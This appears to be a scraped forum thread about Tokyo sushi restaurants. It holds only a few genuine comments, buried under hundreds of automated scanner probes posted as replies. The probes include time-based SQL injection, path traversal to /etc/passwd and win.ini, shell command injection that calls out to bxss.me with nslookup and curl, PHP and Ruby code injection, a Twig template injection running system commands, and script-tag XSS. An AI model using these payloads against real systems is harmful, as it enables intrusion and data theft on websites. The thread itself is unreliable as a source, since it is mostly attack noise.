uylcQxtG' OR 256=(SELECT 256 FROM PG_SLEEP(15))--
re: magiquonnu
ufY6a3yM') OR 113=(SELECT 113 FROM PG_SLEEP(15))--
re: magiquonnu
JJBf22hE')) OR 929=(SELECT 929 FROM PG_SLEEP(15))--
re: magiquonnu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: magiquonnu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: magiquonnu
'||(select 1 from (select pg_sleep(15))x)||'
re: magiquonnu
''||(select 1 from (select pg_sleep(15))x)||''
re: magiquonnu
'"
re: magiquonnu
@@KQkM1
re: magiquonnu
(select 198766*667891)
re: magiquonnu
(select 198766*667891 from DUAL)
re: magiquonnu
4zLrVRSj
re: magiquonnu
*1
re: magiquonnu
*1
re: magiquonnu
*1
re: magiquonnu
*1
re: magiquonnu
-1 OR 5*5=25 --
re: magiquonnu
-1 OR 5*5=26 --
re: magiquonnu
-1 OR 5*5=25
re: magiquonnu
-1 OR 5*5=26
re: magiquonnu
*if(now()=sysdate(),sleep(15),0)
re: magiquonnu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: magiquonnu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: magiquonnu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: magiquonnu
-1; waitfor delay '0:0:15' --
re: magiquonnu
-1); waitfor delay '0:0:15' --
re: magiquonnu
-1 waitfor delay '0:0:15' --
re: magiquonnu
iuKzEZ8c'; waitfor delay '0:0:15' --
re: magiquonnu
-1 OR 809=(SELECT 809 FROM PG_SLEEP(15))--
re: magiquonnu
-1) OR 985=(SELECT 985 FROM PG_SLEEP(15))--
re: magiquonnu
-1)) OR 911=(SELECT 911 FROM PG_SLEEP(15))--
re: magiquonnu
9b7yoONS' OR 960=(SELECT 960 FROM PG_SLEEP(15))--
re: magiquonnu
XONhyVJY') OR 188=(SELECT 188 FROM PG_SLEEP(15))--
re: magiquonnu
HK75hXVZ')) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
re: magiquonnu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: magiquonnu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: magiquonnu
'||(select 1 from (select pg_sleep(15))x)||'
re: magiquonnu
''||(select 1 from (select pg_sleep(15))x)||''
re: magiquonnu
'"
re: magiquonnu
@@9rk2S
re: magiquonnu
(select 198766*667891)
re: magiquonnu
(select 198766*667891 from DUAL)
re: magiquonnu
vHQLzgde
re: magiquonnu
1*
re: magiquonnu
1*
re: magiquonnu
1*
re: magiquonnu
1*
re: magiquonnu
-1 OR 2+379-379-1=0+0+0+1
re: magiquonnu
-1 OR 3+379-379-1=0+0+0+1
re: magiquonnu
if(now()=sysdate(),sleep(15),0)
re: magiquonnu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: magiquonnu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: magiquonnu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: magiquonnu
-1; waitfor delay '0:0:15' --
re: magiquonnu
-1); waitfor delay '0:0:15' --
re: magiquonnu
1 waitfor delay '0:0:15' --
re: magiquonnu
jiJSRF8O'; waitfor delay '0:0:15' --
re: magiquonnu
-5 OR 668=(SELECT 668 FROM PG_SLEEP(15))--
re: magiquonnu
-5) OR 752=(SELECT 752 FROM PG_SLEEP(15))--
re: magiquonnu
-1)) OR 471=(SELECT 471 FROM PG_SLEEP(15))--
re: magiquonnu
LSRtPD7N' OR 60=(SELECT 60 FROM PG_SLEEP(15))--
re: magiquonnu
YRGcSgkj') OR 907=(SELECT 907 FROM PG_SLEEP(15))--
re: magiquonnu
bnrCd1E0')) OR 583=(SELECT 583 FROM PG_SLEEP(15))--
re: magiquonnu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: magiquonnu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: magiquonnu
'||(select 1 from (select pg_sleep(15))x)||'
re: magiquonnu
''||(select 1 from (select pg_sleep(15))x)||''
re: magiquonnu
1'"
re: magiquonnu
@@egjHN
Thanks for sharing. Agree with Suzuki and Owana and Tsukiuda is good too but definitely do not recommend Udatsu and Kizaki. Don't think the others are notable.
re: thetokyogourmet
1YHGDE9YN0
re: thetokyogourmet
response.write(9490881*9435515)
re: thetokyogourmet
'+response.write(9490881*9435515)+'
re: thetokyogourmet
"+response.write(9490881*9435515)+"
re: thetokyogourmet
../../../../../../../../../../../../../../etc/passwd
re: thetokyogourmet
../../../../../../../../../../../../../../windows/win.ini
re: thetokyogourmet
<esi:include src="http://bxss.me/rpb.png"/>
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
${10000045+9999667}
re: thetokyogourmet
../
re: thetokyogourmet
redirtest.acx
re: thetokyogourmet
)
re: thetokyogourmet
!(()&&!|*|*|
re: thetokyogourmet
^(#$!@#$)(()))******
re: thetokyogourmet
ctime
sleep
p0
(I30
tp1
Rp2
.
re: thetokyogourmet
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: thetokyogourmet
echo dfsfqg$()\ vkejle\nz^xyu||a #' &echo dfsfqg$()\ vkejle\nz^xyu||a #|" &echo dfsfqg$()\ vkejle\nz^xyu||a #
re: thetokyogourmet
'.gethostbyname(lc('hitvg'.'qlrdprbx7f86c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(65).chr(103).chr(72).'
re: thetokyogourmet
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: thetokyogourmet
&echo hlvkdy$()\ lweclc\nz^xyu||a #' &echo hlvkdy$()\ lweclc\nz^xyu||a #|" &echo hlvkdy$()\ lweclc\nz^xyu||a #
re: thetokyogourmet
/etc/shells
re: thetokyogourmet
".gethostbyname(lc("hithc"."wreehghmc5cc3.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(88).chr(107).chr(71)."
re: thetokyogourmet
|echo kpwapa$()\ klmjqn\nz^xyu||a #' |echo kpwapa$()\ klmjqn\nz^xyu||a #|" |echo kpwapa$()\ klmjqn\nz^xyu||a #
re: thetokyogourmet
../../../../../../../../../../../../../../etc/shells
re: thetokyogourmet
gethostbyname(lc('hitud'.'npxqokeyd0a26.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(82).chr(106).chr(88)
re: thetokyogourmet
expr 9000251466 - 943476
re: thetokyogourmet
c:/windows/win.ini
re: thetokyogourmet
(nslookup -q=cname hitkyhynvatme008ab.bxss.me||curl hitkyhynvatme008ab.bxss.me))
re: thetokyogourmet
bxss.me
re: thetokyogourmet
$(nslookup -q=cname hitrfhorrtqxx20887.bxss.me||curl hitrfhorrtqxx20887.bxss.me)
re: thetokyogourmet
Http://bxss.me/t/fit.txt
re: thetokyogourmet
&nslookup -q=cname hitgpemijyrnq68246.bxss.me&'\"`0&nslookup -q=cname hitgpemijyrnq68246.bxss.me&`'
re: thetokyogourmet
http://bxss.me/t/fit.txt?.jpg
re: thetokyogourmet
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: thetokyogourmet
&(nslookup -q=cname hitunaaigmdtn9a3fa.bxss.me||curl hitunaaigmdtn9a3fa.bxss.me)&'\"`0&(nslookup -q=cname hitunaaigmdtn9a3fa.bxss.me||curl hitunaaigmdtn9a3fa.bxss.me)&`'
re: thetokyogourmet
';print(md5(31337));$a='
re: thetokyogourmet
|(nslookup -q=cname hitzdhxsaursu5f758.bxss.me||curl hitzdhxsaursu5f758.bxss.me)
re: thetokyogourmet
";print(md5(31337));$a="
re: thetokyogourmet
`(nslookup -q=cname hitxtmldntetc82c3c.bxss.me||curl hitxtmldntetc82c3c.bxss.me)`
re: thetokyogourmet
${@print(md5(31337))}
re: thetokyogourmet
;(nslookup -q=cname hitljquhattfa3317c.bxss.me||curl hitljquhattfa3317c.bxss.me)|(nslookup -q=cname hitljquhattfa3317c.bxss.me||curl hitljquhattfa3317c.bxss.me)&(nslookup -q=cname hitljquhattfa3317c.bxss.me||curl hitljquhattfa3317c.bxss.me)
re: thetokyogourmet
HttP://bxss.me/t/xss.html?%00
re: thetokyogourmet
${@print(md5(31337))}\
re: thetokyogourmet
|(nslookup${IFS}-q${IFS}cname${IFS}hitrnidkplgcm3bc1d.bxss.me||curl${IFS}hitrnidkplgcm3bc1d.bxss.me)
re: thetokyogourmet
'"()
re: thetokyogourmet
bxss.me/t/xss.html?%00
re: thetokyogourmet
'.print(md5(31337)).'
re: thetokyogourmet
&(nslookup${IFS}-q${IFS}cname${IFS}hitbqvfjeodqz9a305.bxss.me||curl${IFS}hitbqvfjeodqz9a305.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbqvfjeodqz9a305.bxss.me||curl${IFS}hitbqvfjeodqz9a305.bxss.me)&`'
re: thetokyogourmet
'&&sleep(27*1000)*jsdrgl&&'
re: thetokyogourmet
"+"A".concat(70-3).concat(22*4).concat(113).concat(67).concat(100).concat(68)+(require"socket"
Socket.gethostbyname("hittv"+"mzfjokardd902.bxss.me.")[3].to_s)+"
re: thetokyogourmet
"&&sleep(27*1000)*wurcno&&"
re: thetokyogourmet
'+'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(121).concat(76)+(require'socket'
Socket.gethostbyname('hitzb'+'nkmhakqo210d0.bxss.me.')[3].to_s)+'
re: thetokyogourmet
'||sleep(27*1000)*vynmao||'
re: thetokyogourmet
'A'.concat(70-3).concat(22*4).concat(115).concat(70).concat(122).concat(73)+(require'socket'
Socket.gethostbyname('hitdz'+'kqmxafgsb7761.bxss.me.')[3].to_s)
re: thetokyogourmet
"||sleep(27*1000)*bzgpwv||"
re: thetokyogourmet
'"
re: thetokyogourmet
replies
re: thetokyogourmet
<!--
re: thetokyogourmet
replies
re: thetokyogourmet
replies/.
re: thetokyogourmet
'"()&%<zzz><ScRiPt >o5l1(9185)</ScRiPt>
re: thetokyogourmet
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitkxdintrell7fe05.bxss.me")}}
re: thetokyogourmet
'"()&%<zzz><ScRiPt >o5l1(9254)</ScRiPt>
re: thetokyogourmet
9895154
re: thetokyogourmet
TorgJaSE
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
2EoAM42a'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 979=(SELECT 979 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
re: thetokyogourmet
wpye9McJ' OR 830=(SELECT 830 FROM PG_SLEEP(15))--
re: thetokyogourmet
xuFa5kBR') OR 435=(SELECT 435 FROM PG_SLEEP(15))--
re: thetokyogourmet
YRATWmOb')) OR 232=(SELECT 232 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@gxi0z
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
re: thetokyogourmet
CT1ZIVmb
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
w2ZD56xq'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 490=(SELECT 490 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 347=(SELECT 347 FROM PG_SLEEP(15))--
re: thetokyogourmet
Fp1byeDE' OR 870=(SELECT 870 FROM PG_SLEEP(15))--
re: thetokyogourmet
RPiNoio0') OR 154=(SELECT 154 FROM PG_SLEEP(15))--
re: thetokyogourmet
eZOXef5h')) OR 738=(SELECT 738 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@qeypp
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
re: thetokyogourmet
tYCSrMp2
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
-1 OR 2+877-877-1=0+0+0+1
re: thetokyogourmet
-1 OR 3+877-877-1=0+0+0+1
re: thetokyogourmet
if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
1 waitfor delay '0:0:15' --
re: thetokyogourmet
y5nc4MLK'; waitfor delay '0:0:15' --
re: thetokyogourmet
-5 OR 522=(SELECT 522 FROM PG_SLEEP(15))--
re: thetokyogourmet
-5) OR 764=(SELECT 764 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 708=(SELECT 708 FROM PG_SLEEP(15))--
re: thetokyogourmet
MSC074qE' OR 237=(SELECT 237 FROM PG_SLEEP(15))--
re: thetokyogourmet
oA0EkOBx') OR 598=(SELECT 598 FROM PG_SLEEP(15))--
re: thetokyogourmet
SxPPsXGi')) OR 602=(SELECT 602 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
1'"
re: thetokyogourmet
@@Oyy0z
https://www.luxeat.com/blog/20-possible-to-book-sushi-yas-in-tokyo/ dropped a couple of weeks ago. Not a lot of difference from the 2023 list.
re: guest
17ZQDQKG90
re: guest
response.write(9134016*9632360)
re: guest
'+response.write(9134016*9632360)+'
re: guest
"+response.write(9134016*9632360)+"
re: guest
../../../../../../../../../../../../../../etc/passwd
re: guest
../../../../../../../../../../../../../../windows/win.ini
re: guest
<esi:include src="http://bxss.me/rpb.png"/>
re: guest
file:///etc/passwd
re: guest
${10000320+10000337}
re: guest
../
re: guest
)
re: guest
!(()&&!|*|*|
re: guest
redirtest.acx
re: guest
^(#$!@#$)(()))******
re: guest
echo ishhmq$()\ ybjhtg\nz^xyu||a #' &echo ishhmq$()\ ybjhtg\nz^xyu||a #|" &echo ishhmq$()\ ybjhtg\nz^xyu||a #
re: guest
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: guest
&echo bhkhpf$()\ fuispt\nz^xyu||a #' &echo bhkhpf$()\ fuispt\nz^xyu||a #|" &echo bhkhpf$()\ fuispt\nz^xyu||a #
re: guest
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: guest
'.gethostbyname(lc('hitwr'.'zrnlzbhv683f6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(88).chr(103).chr(76).'
re: guest
|echo silnfa$()\ baiyrn\nz^xyu||a #' |echo silnfa$()\ baiyrn\nz^xyu||a #|" |echo silnfa$()\ baiyrn\nz^xyu||a #
re: guest
/etc/shells
re: guest
".gethostbyname(lc("hittq"."mplrwthu670cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(84).chr(102).chr(90)."
re: guest
expr 9000270066 - 913796
re: guest
gethostbyname(lc('hitbv'.'fpilmnxib7f82.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(87).chr(115).chr(87)
re: guest
../../../../../../../../../../../../../../etc/shells
re: guest
(nslookup -q=cname hitwxoejdduadfec2c.bxss.me||curl hitwxoejdduadfec2c.bxss.me))
re: guest
c:/windows/win.ini
re: guest
$(nslookup -q=cname hitwojvgqgvfua237c.bxss.me||curl hitwojvgqgvfua237c.bxss.me)
re: guest
bxss.me
re: guest
&nslookup -q=cname hitlfsgijljmnf1c66.bxss.me&'\"`0&nslookup -q=cname hitlfsgijljmnf1c66.bxss.me&`'
re: guest
Http://bxss.me/t/fit.txt
re: guest
ctime
sleep
p0
(I30
tp1
Rp2
.
re: guest
&(nslookup -q=cname hithggaqvhbxz0dfba.bxss.me||curl hithggaqvhbxz0dfba.bxss.me)&'\"`0&(nslookup -q=cname hithggaqvhbxz0dfba.bxss.me||curl hithggaqvhbxz0dfba.bxss.me)&`'
re: guest
http://bxss.me/t/fit.txt?.jpg
re: guest
|(nslookup -q=cname hitijzjmuoxqi97759.bxss.me||curl hitijzjmuoxqi97759.bxss.me)
re: guest
`(nslookup -q=cname hityfuhuoveuv90714.bxss.me||curl hityfuhuoveuv90714.bxss.me)`
re: guest
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: guest
;(nslookup -q=cname hitmtcbkpnete72f4a.bxss.me||curl hitmtcbkpnete72f4a.bxss.me)|(nslookup -q=cname hitmtcbkpnete72f4a.bxss.me||curl hitmtcbkpnete72f4a.bxss.me)&(nslookup -q=cname hitmtcbkpnete72f4a.bxss.me||curl hitmtcbkpnete72f4a.bxss.me)
re: guest
';print(md5(31337));$a='
re: guest
|(nslookup${IFS}-q${IFS}cname${IFS}hitlvxllymqzq676ef.bxss.me||curl${IFS}hitlvxllymqzq676ef.bxss.me)
re: guest
'"()
re: guest
";print(md5(31337));$a="
re: guest
&(nslookup${IFS}-q${IFS}cname${IFS}hitwzuuzdbxvz94c6b.bxss.me||curl${IFS}hitwzuuzdbxvz94c6b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwzuuzdbxvz94c6b.bxss.me||curl${IFS}hitwzuuzdbxvz94c6b.bxss.me)&`'
re: guest
'&&sleep(27*1000)*qnugei&&'
re: guest
${@print(md5(31337))}
re: guest
"&&sleep(27*1000)*dycjwz&&"
re: guest
${@print(md5(31337))}\
re: guest
'||sleep(27*1000)*snigje||'
re: guest
HttP://bxss.me/t/xss.html?%00
re: guest
'.print(md5(31337)).'
re: guest
"||sleep(27*1000)*cgfovu||"
re: guest
bxss.me/t/xss.html?%00
re: guest
"+"A".concat(70-3).concat(22*4).concat(115).concat(78).concat(119).concat(65)+(require"socket"
Socket.gethostbyname("hitlo"+"cvvhqyeuc300e.bxss.me.")[3].to_s)+"
re: guest
'+'A'.concat(70-3).concat(22*4).concat(106).concat(75).concat(109).concat(79)+(require'socket'
Socket.gethostbyname('hitax'+'jvozlyhs8c4ef.bxss.me.')[3].to_s)+'
re: guest
'A'.concat(70-3).concat(22*4).concat(112).concat(86).concat(120).concat(70)+(require'socket'
Socket.gethostbyname('hitem'+'vyzfauat53cf6.bxss.me.')[3].to_s)
re: guest
replies
re: guest
'"
re: guest
replies
re: guest
<!--
re: guest
replies/.
re: guest
'"()&%<zzz><ScRiPt >k0rQ(9489)</ScRiPt>
re: guest
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitzyrraedgtm623c3.bxss.me")}}
re: guest
'"()&%<zzz><ScRiPt >k0rQ(9941)</ScRiPt>
re: guest
9971675
re: guest
jExJNEQ5
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
6h04RpCT'; waitfor delay '0:0:15' --
re: guest
-1 OR 958=(SELECT 958 FROM PG_SLEEP(15))--
re: guest
-1) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
re: guest
-1)) OR 957=(SELECT 957 FROM PG_SLEEP(15))--
re: guest
YdrV8aOK' OR 670=(SELECT 670 FROM PG_SLEEP(15))--
re: guest
gNwbbxR3') OR 627=(SELECT 627 FROM PG_SLEEP(15))--
re: guest
Dxo7F7yp')) OR 92=(SELECT 92 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@YhROn
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)
re: guest
pY4ewQ2x
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
qjWCrBkx'; waitfor delay '0:0:15' --
re: guest
-1 OR 465=(SELECT 465 FROM PG_SLEEP(15))--
re: guest
-1) OR 571=(SELECT 571 FROM PG_SLEEP(15))--
re: guest
-1)) OR 374=(SELECT 374 FROM PG_SLEEP(15))--
re: guest
nkKxJdn6' OR 654=(SELECT 654 FROM PG_SLEEP(15))--
re: guest
PjIk3B1w') OR 722=(SELECT 722 FROM PG_SLEEP(15))--
re: guest
dhs6bYqf')) OR 638=(SELECT 638 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@QkCwH
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)
re: guest
kxEcXMfw
re: guest
1*
re: guest
1*
re: guest
1*
re: guest
1*
re: guest
-1 OR 2+103-103-1=0+0+0+1
re: guest
-1 OR 3+103-103-1=0+0+0+1
re: guest
if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
1 waitfor delay '0:0:15' --
re: guest
LbYExLRG'; waitfor delay '0:0:15' --
re: guest
-5 OR 466=(SELECT 466 FROM PG_SLEEP(15))--
re: guest
-5) OR 692=(SELECT 692 FROM PG_SLEEP(15))--
re: guest
-1)) OR 154=(SELECT 154 FROM PG_SLEEP(15))--
re: guest
zQpGh3fg' OR 371=(SELECT 371 FROM PG_SLEEP(15))--
re: guest
fqsCCcYs') OR 577=(SELECT 577 FROM PG_SLEEP(15))--
re: guest
cXOW2m2a')) OR 604=(SELECT 604 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
1'"
re: guest
@@7jum8
Thanks guest. Sushi mitaka looks interesting.
re: guest
1P43IVAD60
re: guest
response.write(9469500*9270480)
re: guest
'+response.write(9469500*9270480)+'
re: guest
"+response.write(9469500*9270480)+"
re: guest
../../../../../../../../../../../../../../etc/passwd
re: guest
<esi:include src="http://bxss.me/rpb.png"/>
re: guest
../../../../../../../../../../../../../../windows/win.ini
re: guest
file:///etc/passwd
re: guest
${10000005+9999023}
re: guest
../
re: guest
)
re: guest
!(()&&!|*|*|
re: guest
redirtest.acx
re: guest
^(#$!@#$)(()))******
re: guest
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: guest
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: guest
echo vexjgr$()\ mbwehc\nz^xyu||a #' &echo vexjgr$()\ mbwehc\nz^xyu||a #|" &echo vexjgr$()\ mbwehc\nz^xyu||a #
re: guest
'.gethostbyname(lc('hitxk'.'mbtmgphg9e81f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(67).chr(98).chr(72).'
re: guest
/etc/shells
re: guest
&echo wbxlzs$()\ gaslgh\nz^xyu||a #' &echo wbxlzs$()\ gaslgh\nz^xyu||a #|" &echo wbxlzs$()\ gaslgh\nz^xyu||a #
re: guest
".gethostbyname(lc("hitmx"."bjhrqsjh4ac96.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(77).chr(113).chr(71)."
re: guest
../../../../../../../../../../../../../../etc/shells
re: guest
|echo jrzltf$()\ bsofvn\nz^xyu||a #' |echo jrzltf$()\ bsofvn\nz^xyu||a #|" |echo jrzltf$()\ bsofvn\nz^xyu||a #
re: guest
gethostbyname(lc('hitqr'.'kfbzvmmec5b21.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(110).chr(69)
re: guest
c:/windows/win.ini
re: guest
expr 9000524560 - 930499
re: guest
bxss.me
re: guest
(nslookup -q=cname hitrmwlslvtacee49b.bxss.me||curl hitrmwlslvtacee49b.bxss.me))
re: guest
Http://bxss.me/t/fit.txt
re: guest
$(nslookup -q=cname hithqzpxutago07cd9.bxss.me||curl hithqzpxutago07cd9.bxss.me)
re: guest
http://bxss.me/t/fit.txt?.jpg
re: guest
&nslookup -q=cname hitnalxnjrmvi5c8a9.bxss.me&'\"`0&nslookup -q=cname hitnalxnjrmvi5c8a9.bxss.me&`'
re: guest
ctime
sleep
p0
(I30
tp1
Rp2
.
re: guest
